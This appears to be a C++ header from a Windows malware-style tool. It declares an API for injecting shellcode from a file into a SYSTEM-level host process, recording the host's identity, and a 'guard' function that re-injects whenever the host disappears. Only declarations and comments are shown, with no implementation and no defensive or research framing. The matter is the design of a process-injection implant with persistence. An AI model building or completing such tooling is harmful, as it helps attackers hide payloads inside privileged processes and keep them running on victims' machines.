#pragma once #include #include struct HostInjectResult { bool ok = false; DWORD hostPid = 0; DWORD hostSession = 0; unsigned long long creationTime = 0; std::wstring hostImage; std::wstring method; std::wstring error; }; struct HostTrack { DWORD pid = 0; unsigned long long creationTime = 0; std::wstring payload; std::wstring hostImage; bool Tracked() const { return pid != 0 && !payload.empty(); } }; // Injects the shellcode at 'shellcodePath' into the best SYSTEM host process. // Identity is recorded (pid + creation time) so a recycled PID is never treated // as the same host. HostInjectResult InjectShellcodeIntoHost( const std::wstring& shellcodePath, const std::wstring& preferredImage, bool requireSystem); // True when the tracked pid still exists AND its creation time matches, which // rejects PID reuse. bool HostStillAlive(const HostTrack& track); bool GetProcessCreateTime(DWORD pid, unsigned long long& out); HostTrack LoadHostTrack(); bool SaveHostTrack(const HostTrack& track); bool ClearHostTrack(); // Used by the guard role: re-injects only when the previous host is gone. HostInjectResult EnsureHostInjected(bool requireSystem = true); std::wstring FormatInjectResult(const HostInjectResult& r); std::wstring FormatHostTrack(const HostTrack& t);